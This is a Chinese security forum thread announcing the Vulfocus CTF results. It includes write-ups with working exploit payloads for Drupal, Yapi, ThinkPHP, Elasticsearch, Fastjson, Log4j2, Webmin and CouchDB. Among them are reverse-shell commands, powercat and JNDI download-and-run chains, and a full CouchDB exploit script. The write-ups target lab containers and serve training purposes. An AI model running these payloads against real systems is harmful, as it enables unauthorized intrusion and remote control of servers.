安全矩阵

 找回密码
 立即注册
搜索
查看: 4089|回复: 3

Vulfocus 靶场竞赛WP公布

[复制链接]

14

主题

16

帖子

318

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
318
发表于 2022-1-23 19:50:16 | 显示全部楼层 |阅读模式

xiannv  12天前


Vulfocus第一期靶场竞赛活动圆满结束,公布本次比赛盲盒环境列表,并收集了大家的WriteUp及比赛感想供大家参考交流~

题目列表
难度等级
比赛编号
漏洞名称
拉取地址

1
命令执行漏洞vulshare/nginx-php-flag:latest
2
vulfocus/weblogic-CVE-2016-3510vulfocus/weblogic-cve_2016_3510:latest
4
thinkphp3.2.x 代码执行vulfocus/thinkphp-3.2.x:latest
6
thinkphp 代码执行 (CNVD-2018-24942)vulfocus/thinkphp-cnvd_2018_24942:latest
7
thinkcmf 代码执行 (CVE-2019-7580)vulfocus/thinkcmf-cve_2019_7580:latest
8
struts2-046 远程代码执行 (CVE-2017-5638)vulfocus/struts2-cve_2017_5638
9
struts2 命令执行 (CVE-2016-3081)vulfocus/struts2-cve_2016_3081:latest
10
struts2 命令执行 (CVE-2013-2135)vulfocus/struts2-cve_2013_2135:latest
12
struts2 代码执行 (CVE-2016-4438)vulfocus/struts2-cve_2016_4438:latest
14
jenkins 代码执行 (CVE-2017-1000353)vulfocus/jenkins-cve_2017_1000353:latest
17
yapi 代码执行vulfocus/yapi:latest
18
webmin 远程命令执行 (CVE-2019-15107)vulfocus/webmin-cve_2019_15107
19
webmin 代码执行 (CVE-2021-31760)vulfocus/webmin-cve_2021_31760:latest
20
typesetter 文件上传 (CVE-2020-25790)vulfocus/typesetter-cve_2020_25790:latest
21
tomcat 文件上传 (CVE-2017-12615)vulfocus/tomcat-cve_2017_12615:latest
22
struts059 代码执行 (CVE-2019-0230)vulfocus/struts059-cve_2019_0230:latest
24
spring 代码执行 (CVE-2017-8046)vulfocus/spring-cve_2017_8046:latest
25
shiro 反序列化 (CVE-2016-4437)vulfocus/shiro-cve_2016_4437
26
seacms 远程命令执行 (CNVD-2020-22721)vulfocus/seacms-cnvd_2020_22721:latest
27
redis 未授权访问 (CNVD-2019-21763)vulfocus/redis-cnvd_2019_21763:latest
30
maccms  远程命令执行(CVE-2017-17733)vulfocus/maccms-cve_2017_17733:latest
31
laravel 远程代码执行 (CVE-2021-3129)vulfocus/laravel-cve_2021_3129:latest
32
junams 文件上传 (CNVD-2020-24741)vulfocus/junams-cnvd_2020_24741:latest
35
fastjson 代码执行 (CNVD-2019-22238)vulfocus/fastjson-cnvd_2019_22238:latest
36
fastjson 代码执行 (CNVD-2017-02833)vulfocus/fastjson-cnvd_2017_02833:latest
39
atlassian-crowd 命令执行 (CVE-2019-11580)vulfocus/atlassian_crowd-cve_2019_11580:latest
40
apache-zeppelin 命令执行 (CNVD-2019-33156)vulfocus/apache-zeppelin-cnvd_2019_33156:latest
41
apache-nifi-api 代码执行vulfocus/apache_nifi_api:latest
70
node.js 命令执行 (CVE-2021-21315)vulfocus/node.js-cve_2021_21315:latest
71
spring 代码执行 (CVE-2017-4971)vulfocus/spring-cve_2017_4971:latest
38
drupal 代码执行 (CVE-2017-6920)vulfocus/drupal-cve_2017_6920:latest
43
xstream 代码执行 (CVE-2021-21351)vulfocus/xstream-cve_2021_21351:latest
44
webmin 远程代码执行 (CVE-2019-15642)vulfocus/webmin-cve_2019_15642:latest
45
Webmin 命令执行漏洞 (CVE-2020-35606)vulfocus/webmin-cve_2020_35606:latest
46
saltstack 远程命令执行 (CVE-2020-16846)vulfocus/saltstack-cve_2020_16846:latest
48
oklite 文件上传 (CVE-2019-16131)vulfocus/oklite-cve_2019_16131:latest
49
nexus 命令执行 (CVE-2020-10199)vulfocus/nexus-cve_2020_10199:latest
50
nagios 代码执行 (CVE-2016-9565)vulfocus/nagios-cve_2016_9565:latest
52
jupyter-notebook 命令执行 (CVE-2019-9644)vulfocus/jupyter_notebook-cve_2019_9644:latest
53
jackson 代码执行 (CVE-2020-35728)vulfocus/jackson-cve_2020_35728:latest
57
elasticsearch 代码执行 (CVE-2015-1427)vulfocus/elasticsearch-cve_2015_1427:latest
58
elasticsearch 代码执行 (CVE-2014-3120)vulfocus/elasticsearch-cve_2014_3120:latest
59
couchdb 命令执行 (CVE-2017-12636)vulfocus/couchdb-cve_2017_12636:latest
62
Log4j2远程命令执行vulfocus/log4j2-rce-2021-12-09:latest
67
jmeter 命令执行 (CVE-2018-1297)vulfocus/jmeter-cve_2018_1297:latest
75
Websvn 命令注入 (CVE-2021-32305)vulfocus/websvn-cve_2021_32305:latest
76
drupal 远程代码执行 (CVE-2019-6339)vulfocus/drupal-cve_2019_6339:latest
77
nostromo 远程命令执行 (CVE-2019-16278)vulfocus/nostromo-cve_2019_16278:latest
79
spring-boot-whitelabel-spelvulfocus/spring-boot_whitelabel_spel:latest
80
xxl-job 远程命令执行vulfocus/xxl-job-api-rce:latestWriteUp

以下是参赛的各位大佬贡献的WP及参赛经验,感谢各位大佬及团队的贡献:

F4n、高诺琪、weske(rm -rf /*)

Vulfocus靶场竞赛中级部分题解|NOSEC安全讯息平台 - 白帽汇安全研究院

涉及题目:【71】【70】【27】【17】【21】【22】【18】【30】【26】【32】【20】【40】【41】【19】【31】【25】

Vulfocus靶场竞赛高级部分题解|NOSEC安全讯息平台 - 白帽汇安全研究院

涉及题目:【38】【80】【77】【76】【79】【75】【58】【57】【59】【44】【45】【48】【52】


长安(UTRA Sec)

Vulfocus-解题系列|NOSEC安全讯息平台 - 白帽汇安全研究院

涉及题目:【01】【06】【08】【10】【12】【14】【17】【20】【21】【26】【30】【40】【44】【45】【52】【62】【71】


十分溜(我只想要个红队license队)

VULFOCUS初级题目WP|NOSEC安全讯息平台 - 白帽汇安全研究院

涉及题目:【01】【02】【06】【08】【09】【12】【14】


bgbingsec(我只想要个红队license队)

Vulfocus靶场Wp|NOSEC安全讯息平台 - 白帽汇安全研究院

涉及题目:【38】【62】【45】【27】【70】【48】【32】【41】【44】【59】【75】【17】【22】【31】【30】【24】【50】


夏天(UTF-8)

Vulfocus 靶场竞赛 WriteUp|NOSEC安全讯息平台 - 白帽汇安全研究院

涉及题目:【30】【36】【45】【52】【58】【59】【62】【71】【76】【77】


hxd(西津北固战队)

Vulfocus靶场竞赛 WriteUp|NOSEC安全讯息平台 - 白帽汇安全研究院

涉及题目:【18】【36】【58】【59】【62】


Mr.hao(s1n0pec安全实验室)

Vulfocus  圣诞比赛 Wp|NOSEC安全讯息平台 - 白帽汇安全研究院

涉及题目:【38】【52】【77】【17】【70】【25】【57】【21】【10】【6】【76】【08】


总结

各位表哥写的都很认真,感谢各位表哥的贡献以及提供的建议,对我们有很大的帮助!

还有部分环境没有人写wp,欢迎各位感兴趣的表哥补充投稿!

Vulfocus 官网:https://fofapro.github.io/vulfocus/

在线演示:http://vulfocus.fofa.so/

漏洞环境地址:https://hub.docker.com/u/vulfocus

使用过程中如有问题可以在 GitHub 提 issue,也可在下方的讨论组里

GitHub issue:https://github.com/fofapro/vulfocus/issues

微信群:扫描以下二维码加“VulfocusBot”微信,加入 Vulfocus 微信交流群。



回复

使用道具 举报

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-1-24 14:50:33 | 显示全部楼层
[tr][/tr]

作者:Mr.hao@s1n0pec安全实验室

0x00 声明和背景

声明:

本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

背景:

2021年圣诞节参加了Vulfocus和Goby联合举办的靶场比赛。比赛前一天下发了短信提醒,比赛持续了4小时。具体更多细节可以到vulfocus的公众号去了解。

比赛时,访问http://jc.vulfocus.fofa.so即可登陆靶场。登录后看到的界面和vulfocus.fofa.so类似,不过少了漏洞名称等。具体界面类似下图:

0x01 drupal

竞赛题目序号:vulfocus/038,vulfocus靶场: drupal 代码执行 (CVE-2018-7600)

单击“启动”,就可以启动比赛的靶场镜像。启动后的界面如下图。我们可以从“映射端口”处,看到内网的80映射到了54645,尝试访问54645端口。


访问后,我们可以从页面底部看到Powered by Drupal字样。


可以尝试百度搜索“drupalgetshell”关键词,翻看后就看到这一篇文章,https://blog.csdn.net/limb0/article/details/107122919

使用其中的代码在Burp中跑一下即可


POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Host: your-ip:8088 Accept-Encoding: gzip, deflate Accept: */*Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT6.1; Win64; x64; Trident/5.0) Connection: close Content-Type:application/x-www-form-urlencoded Content-Length: 103 form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

比赛时,先发whoami,确定www-data的返回位置,然后使用 ls /tmp在对应位置翻查flag就可以了。

之后,我们将id换为ls%20/tmp就可以看到flag了。这个/tmp是vulfocus靶场默认的flag存放位置。

这里的Response中,因为是考试后复现,已经没有flag了。


当然,这一道题目,我们也可以直接使用Goby来扫描。扫描后,可以看到漏洞验证界面。


单击验证后,跳出如下界面:


之后在cmd处输入命令ls /tmp就可以拿到flag。

0x02 jupyter未授权

竞赛题目序号:vulfocus/052,vulfocus靶场:vulfocus/jupyter_notebook-cve_2019_9644:latest

打开后发现如下界面:

单击upload按钮右侧的New,出现如下界面:

考试时百度jupyter,主要是参考了如下文档

https://blog.csdn.net/qq_45746681/article/details/108932879

0x03 nostromo 1.9.6

竞赛题目序号:vulfocus/0077,vulfocus靶场:vulfocus/nostromo-cve_2019_16278:lates

打开靶场后看到nostromo,直接搜索“nostromo 1.9.6”


百度搜索到这一篇,https://blog.csdn.net/x650007/article/details/121487278


Exp在这里:

https://github.com/jas502n/CVE-2019-16278

下载后,带参数运行即可:


暂时没有想明白的,是为什么在靶场里,burp工具里面只能执行ifconfig,还有sed,但不能执行whoami,ls和id。而用脚本的话,所有的命令都可以执行。

另外:如果是kali里面,需要给sh赋予权限。

更多Nostromo相关的内容:

https://blog.csdn.net/qq_41832837/article/details/109247859

0x04 Yapi

考场靶场地址 vulfocus/0017,vulfocus靶场:vulfocus/yapi:latest

1、信息收集

题目界面可以看到有两个端口,分别对应Yapi和mongodb。


先访问3000端口对应的外部端口56678。


页面底部可以看到版本号


2、漏洞探测

使用Goby扫描一下,发现Yapi RCE,但是这次没有给出验证窗口。


但是点击“YAPIRCE”红色字样,依然给出了很多有用的信息。下图“参考”那里给出了一个链接。


按照步骤操作即可。

链接里面给的图片不太清楚,可以试一下这一篇:

https://cloud.tencent.com/developer/article/1851526

或者这一篇:

https://ranjuan.cn/yapi-remote-command-execute/


单击右侧的“添加项目”

单击右侧的“添加接口”


单击上图的“高级mock”,在“脚本”中添加如下字符:



const sandbox= this

const objectConstructor = this.constructor

const FunctionConstructor = objectConstructor.constructor

const myfun = FunctionConstructor('return process')

const process = myfun()

mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()


单击mock预览中的“mock地址”即可看到whoami的返回结果。


把上面语句中的whoami改为 ls /tmp即可得到flag


3、注意事项

给定的代码中,如果命令中输入ifconfig会报错“解析出错,请检查”。


将命令改为whoami或者whoami && ps -ef即可执行。


经测试靶场环境id,whoami均可以正常返回。

然后执行ls /tmp即可拿到flag。

0x05 Node.js命令执行

1、信息收集

打开靶场后发现是8000的端口,尝试访问。报错。


打开nmap对端口带-sV参数进行扫描,发现有node.js

2、利用思路

百度搜索node.js getshell或者node.js RCE。

刚开始都走偏了。后来参考了网上的文档,发现在链接后跟如下地址,可以外带flag:


/api/getServices?name[]=$(ping%20`ls%20/tmp`.54qzaf.dnslog.cn[自己所申请的地址])


刚开始怎么也不成功,后来发现后面漏了个括号。比赛时,要确认有没有犯类似的低级错误。

很多时候都是端口写错、语法拼写错误等低级错误。


0x06 Apache Shiro

竞赛靶场地址:vulfocus/025,vulfocus复现靶场vulfocus/shiro-CVE-2016-4437

打开靶场后发现“Welcometo the Apache Shiro”字样。


Goby 扫描可以确认资产的确包含shiro,但是未返回有漏洞。


尝试Shiro工具的本地回显功能,可以拿到flag


具体参考这一篇:https://blog.csdn.net/qq_41901122/article/details/107107237

和这一篇https://www.jianshu.com/p/0114c350373f

0x07 Apache apache-cve_2021_42013

竞赛靶场地址:不记得了,vulfocus复现靶场:apache 远程代码执行 (CVE-2021-42013)

比赛时,打开靶场后发现


尝试Goby扫描得到组件信息。


搜索“Apache-Web-Server”,参考这一篇

https://blog.csdn.net/qq_36334464/article/details/120685518

重点参考


curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

使用burp拿到flag


响应包里看到了flag

0x08 ElasticSearch

题目地址 vulfocus/057:latest;vulfocus靶场:elasticsearch 代码执行 (CVE-2015-1427)

打开靶场,看到界面如下:


版本为1.4.2的elastic search。

搜索后找到一篇合集,https://blog.csdn.net/qq_45742511/article/details/119189967

具体步骤如下:

1、先发送如下post数据包到/website/blog/


{

  "name": "test"

}



2、再发送如下post数据包到_search?pretty


{"size":1,"script_fields":{"lupin":{"lang":"groovy","script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}


3、再修改为id为ls /tmp,拿到flag


这道题踩到的坑是必须先发送第一个数据包,否则不会有第二个数据包的效果。

原理上我记得好像在哪里看到过,就是日志里面必须有一些内容才可以后续利用。

0x09 Apache(vulfocus/0021,CVE-2017-12615)

打开靶场,看到如下界面


应该是Apache类似的漏洞。

看到这一篇,一边看,一边同时打开Goby进行扫描。

https://www.cnblogs.com/confidant/p/15440233.html


单击“Apache Tomcat“那里的红色字体,发现如下图的界面,可以验证。


看到webshell那里有链接,复制到浏览器即可访问webshell。


0x10 Stuts2

vulfocus/0010,CVE-2013-2135

题目已知是struts2,所以尝试使用工具。


思路1:

使用vulmap 0.8版本的。对welcome.action进行扫描。

参考链接:


思路2(尚未验证):

Goby +vulmap插件,Goby内有vulmap的插件。

https://zhuanlan.zhihu.com/p/354354264

思路3(尚未验证):

Goby编写自定义规则

https://www.cnblogs.com/micr067/p/14124864.html

0x11 ThinkPhP

vulfocus/006:latest,thinkphp命令执行 (CVE-2018-1002015)

打开靶场后,尝试端口后面输入index.php,可以看到报错:


打开Goby扫描该试题端口


截图时,复现的比赛靶场关了,只好重开了靶场。输入system和ls /tmp可以拿到flag。


也可以参考这里:

https://www.cnblogs.com/nongchaoer/p/12029478.html

构造拿到flag


http://106.75.119.109:49358/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/tmp


网上应该还有其他thinkphp的成套工具。POC suite3应该也可以。

https://www.cnblogs.com/defyou/p/15762860.html

xray应该也可以。还没有来得及尝试。

0x12 drupal(cve-2018-7600)

vulfocus/0076,vulfocus/drupal-cve_2018_7600:latest

打开后如下图:


Goby扫描


和前面类似,不再重复。


0x13 Struts2

vulfocus/008:latest,struts2-046远程代码执行 (CVE-2017-5638)

最终的解法可能不一定很难,但难的是确认漏洞到底是哪一个。平时练习时,就要多思考,如果是比赛环境,我该如何确认漏洞到底是哪一个。如果没有告诉我这是哪一个漏洞,我该怎么办?

打开后,尝试上传文档。发现标题里面提示struts2,链接里面也有.action,初步判断是struts。


使用vulmap进行struts2的漏洞探测。发现s2-046


使用 --list确认是否可以利用。


使用ls /tmp即可拿到flag。


0x13 整体比赛需要注意的事项

1、关注比赛群,和其他CTF类似,官方的支持也很重要。合理利用规则,例如可以3个人组队,可以开四个环境。

2、有的靶场比较大,需要耐心等一会。比如druid这一类靶场。

3、靶场登录密码复制的时候,小心空格。

4、比赛环境如果遇到有时候提交flag总也不对,可以先尝试如下界面的“停止”,再“删除”。尝试重新拿一下环境。

0X14 总体感受

感谢家人对比赛的支持,感谢Vulfocus和goby联合举办的这次比赛。感谢白帽汇。

靶场和真实环境类似,需要平时很多的积累:比如工具,比如思路,比如见识,比如朋友(三个人打比赛和一个人打还是不一样的)。

还有编程能力,也要提升,不能只满足于会用别人的工具。

实战中还要思考,如何用最小的战术动作拿到最终结果。

s1n0pec安全实验室,致力于企业内网安全建设,涉及实战化攻防、渗透测试、CTF比赛、应急响应等多领域安全研究。








回复
[url=]举报[/url]



[tr][/tr]
mxsillusion



2
主题
11
帖子
50
积分

积分50
沙发
  楼主| 发表于 22 分钟前 | 只看该作者


作者:hxd@西津北固战队

声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

FastJson-RCE-[CNVD-2017-02833]
概述
  • 目前存在漏洞的fastjson主要是两个版本

1.2.24 (cnvd_2017_02833)影响范围 <=1.2.24

1.2.47 (cnvd_2019_22238)影响范围 <=1.2.47

  • 漏洞检测的方式主要是POS请求发送json参数,然后反序列化执行命令,再通过dnslog平台来回显
  • 漏洞利用的方式主要是POS请求发送json参数,然后反序列化执行命令,反弹shell
  • 两个版本的漏洞检测和利用方式几乎一致,除了payload不一样
搭建靶机
  • 使用vulfocus搭建靶机,获得访问地址:192.168.1.11.59260,本机地址为192.168.0.20

vulfocus/fastjson-cndv_2017_02833

vulfocus/fastjson-cndv_2019_22238

vulfocus/035 (比赛靶机)

vulfocus/036 (比赛靶机)

通常看到json传输数据的,可以测试下是不是存在fastjson的漏洞,burp的插件可以很方便进行检测。这里因为是vulfocus的靶机,很熟悉,所以很明确的知道是存在fastjson的漏洞的

抓取流量
  • 打开url,并抓取流量,直接改成POST请求,随便测试json参数,发现并不会报错


准备利用环境

因为这个wp我很久之前写过,拿来改了改,所以前面是传统的方法和步骤,没有耐心的可以直接略过到最后

  • 搭建一个web服务器,如果有现成的可以直接用,前提是靶机要能够访问到这个web服务
  • 使用python可以很方便的搭建web服务,执行下面的命令,相当于开通了一个端口是8888的web服务
python3 -m http.server 8888


web服务的根目录就是当前命令执行的目录,可以建个文件夹,然后在这个文件夹目录下执行命令

后面我们要在此目录下创建文件

构建POC文件
  • 在web服务根目录下建立 Exploit.java 文件,代码如下
public class Exploit{    public Exploit() {}    static    {        try {            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")                    ? new String[]{"cmd.exe","/c", "ping xxxx.dnslog.cn"}                    : new String[]{"/bin/bash","-c", "curl xxxx.dnslog.cn"};            Runtime.getRuntime().exec(cmds);        } catch (Exception e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        Exploit e = new Exploit();    }}


  • 替换后,执行命令把Exploit.java 编译成class
javac Exploit.java
  • 如果提示找不到这个命令,到你的jdk安装目录中找

成功生成了class文件


建立RMI服务

marshalsec-0.0.3-SNAPSHOT-all.jar

  • 执行下面的命令,建立RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Exploit" 8889

这里命令需要重点理解,大致意思是通过加载 http://192.168.0.20:8888/Ecploit.class的方式在8889端口建立RMI服务,到这一步就理解了为什么上面要建立web服务,web服务的端口和RIM服务的端口不要混淆

网上很多文章这里说明的很模糊,端口号上下文也不匹配,导致复现失败

发送POC请求
  • payload,不同版本的不一样,这是1.2.24的
{    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.0.20:8889/Exploit",        "autoCommit":true    }}
  • 这是1.2.47的
{    "a":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "b":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"rmi://192.168.0.20:8889/Exploit",        "autoCommit":true    }}
  • POST请求的参数替换成payload

  • 查看了dnslog,果然接受到了请求,也就是说Exploit.java 文件中的命令得到了执行

  • 到此就证明了漏洞的存在
反弹shell
  • 其实到这里就很简单,只要修改Exploit.java的代码就行,为了方便我们直接创建一个新的文件 Rshell.java
public class Rshell{    public Rshell() {}    static    {        try {            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")                    ? new String[]{"cmd.exe","/c", "powershell \"IEX (New-object System.Net.Webclient).DownloadString('http://192.168.0.20/powercat.ps1'); powercat -c 192.168.0.20 -p 9999 -e powershell\""}                    : new String[]{"/bin/bash","-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4xMS4xMS4xMS85OTk5IDA+JjEK}|{base64,-d}|{bash,-i}"};            Runtime.getRuntime().exec(cmds);        } catch (Exception e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        Rshell e = new Rshell();    }}
  • 理解下这里的代码,这里反弹shell采用两种方式,根据不同的操作系统来区分
  • 靶机如果是windows,需要通过powercat来反弹shell,https://github.com/besimorhino/powercat


  • 例如使用PowerShell远程下载PowerCat执行反弹cmd命令
powershell IEX (New-object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.106 -p 6666 -e cmd

Rshell中的代码远程下载的是事先下载好然后放到python那个web服务下的,反弹的是powshell

  • 靶机如果是liunx就更加简单了,直接把命令base64加密然后替换就好
bash -i >& /dev/tcp/192.168.0.20/9999 0>&1YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMjAvOTk5OSAwPiYx
  • 替换完成后,编译生成Rshell.class文件
  • 重启RIM服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Rshell" 8889
  • 本机开启监听
nc -lvvp 9999
  • 发送payload,注意修改成Rshell


  • 成功反弹了shell,获得了flag


更加便捷的方法

上面是比较传统的方法和过程,各路大神已经写了很多更加方便的工具,可以快速的建立RIM或者LDAP的服务,都不用自己从头开始构建恶意类了,可以直接反弹shell或者上传各种内存马

  • JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt

加密反弹shell的命令

bash -i >& /dev/tcp/192.168.0.20/9999 0>&1

加密网站

https://www.jackson-t.ca/runtime-exec-payloads.html

其实就是base64加密,也可以用其他工具

加密后

bash -c {echo,YmFzaCAtaSA+JiAvZGVXXXXX5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

启动服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDMuMXXXXXXXOTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps的地址"

  • JNDIExploit.jar

感兴趣的可以去了解  https://github.com/zzwlpx/JNDIExploit,感觉使用起来比上面那个还要方便,不过这个就见仁见智了



Log4j2-RCE-[CVE-2021-44228]
概述漏洞描述

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞评级

CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重

CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞 严重

影响版本

注:Apache Log4j 1.x 版本不受此次漏洞影响。

CVE-2021-44228 Apache Log4j 远程代码执行漏洞

Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 (2.12.2 版本不受影响)

CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞:

Apache Log4j 2.x >=2.0-beta9 且 < 2.16.0(2.12.2 版本不受影响)

漏洞POC搭建靶机

使用vulfocus搭建靶机,并获得访问地址

vulfocus/log4j2-rce-2021-12-09:latest

vulfocus/062 (比赛靶机)

因为比赛的靶机没有任何的漏洞描述,但是因为之前log4j2漏洞爆发的时候,第一时间在vulfocus上测试了相关的靶机,初始访问的时候也是这个页面,然后POST了下路径hello,返回ok,确认是log4j2漏洞



Payload${jndi:ldap://tm0ftq.dnslog.cn/Exploit}

使用此paylaod可以直接通过dnslog查询的方式验证漏洞是否存在

payload=%24%7Bjndi%3Aldap%3A%2F%2Ftm0ftq.dnslog.cn%2FExploit%7D


dnglog的收到了请求,证明了漏洞的存在

漏洞利用搭建LDAP服务

下载第三方工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt

加密反弹shell的命令

bash -i >& /dev/tcp/47.103.XXX.XXX/9999 0>&1

加密网站

https://www.jackson-t.ca/runtime-exec-payloads.html

其实就是base64加密,也可以用其他工具

加密后

bash -c {echo,YmFzaCAtaSA+JiAvxxxxxM5Ljddddddd5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

启动服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxxk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps地址"


开启监听

nc -lvvp 9999反弹shell

使用第一个服务(其他几个我试了都不行),发送payload


反弹成功,并获得flag




Webmin-RCE-[CVE-2019-15107]
概述漏洞描述

Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。

影响版本

Webmin <= 1.920

漏洞POC环境搭建

使用vulfocus,启动靶机

vulfocus/webmin-cve_2019_15107:latest

vulfocus/0019(比赛靶机)


打开页面,根据页面上的提示使用https访问,很显然是一个webmin系统


payloadPOST  /password_change.cgi HTTP/1.1Host: 106.75.119.109:24335User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: redirect=1; testing=1; sid=2c97114272115f9e3e52307ff418b31d; sessiontest=1DNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Length: 60user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

发送payload,可以发现返回了当前用户


漏洞利用

具体操作同上,只需要修改命令即可,比如获取flag




CouchDB-RCE-[CVE-2017-12636]
概述漏洞描述

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。CouchDB允许通过自身提供的Restful API接口动态修改配置属性,我们可以在一个未授权访问的CouchDB上,通过修改其query_server配置,来执行系统命令。

影响版本

CouchDB < 1.7.0

CouchDB < 2.1.1

漏洞POC环境搭建

使用vulfocus搭建环境,启动靶机

vulfocus/couchdb-cve_2017_12636:latest

vulfocus/059 (比赛靶机)


比赛靶机隐藏了漏洞的描述,不过通过访问地址返回的json,我们可以看到是couchdb,版本为1.6.0

Payload

脚本中的参数需要修改

target:靶机地址,

command:星号改成自己的vps地址,用于反弹shell

version:根据CouchDB的版本来设置, 1表示为1.X,2表示为2.X

#!/usr/bin/env python3import requestsimport jsonimport base64from requests.auth import HTTPBasicAuthtarget = 'http://xxxxxx:xxxx'command = rb"""sh -i >& /dev/tcp/***.***.***.***/9999 0>&1"""version = 1session = requests.session()session.headers = {    'Content-Type': 'application/json'}# session.proxies = {#     'http': 'http://127.0.0.1:8085'# }session.put(target + '/_users/org.couchdb.user:wooyun', data='''{  "type": "user",  "name": "wooyun",  "roles": ["_admin"],  "roles": [],  "password": "wooyun"}''')session.auth = HTTPBasicAuth('wooyun', 'wooyun')command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()if version == 1:    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))else:    host = session.get(target + '/_membership').json()['all_nodes'][0]    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))session.put(target + '/wooyun')session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')if version == 1:    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')else:    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

在vps上开启监听

nc -lvvp 9999

执行脚本并反弹shell



漏洞利用

操作同上,比如获取flag




ElasticSearch-RCE-[CVE-2014-3120]
概述漏洞描述

ElasticSearch是基于开源的全文检索引擎Lucene,是一个实时分布式搜索和分析引擎,支持全文检索,结构化检索和数据分析等。

ElasticSearch1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。

影响版本

ElasticSearch < 1.2

漏洞POC环境搭建

使用vulfocus搭建环境,开启靶机

vulfocus/elasticsearch-cve_2014_3120:latest

vulfocus/058(比赛靶机)


访问地址,返回的是一串json的字符串,因为比赛的靶机隐藏了漏洞的描述信息,所以熟悉的人可能知道这个是ElasticSearch的版本信息,可以看到版本号是 1.1.1。



不熟悉的人就要使用工具先收集一些信息了。这里我们使用信息收集的利器Goby,自带了大量系统、设备和中间件的识别指纹,还可以进行各种漏洞检测利用,尤其是红队版,漏洞的检测能力更强。


Payload

首先添加一条数据

POST /website/blog/ HTTP/1.1Host: 106.75.119.109:58472User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 26{  "name": "vulfocus"}


执行命令,script的部分就是执行java代码的

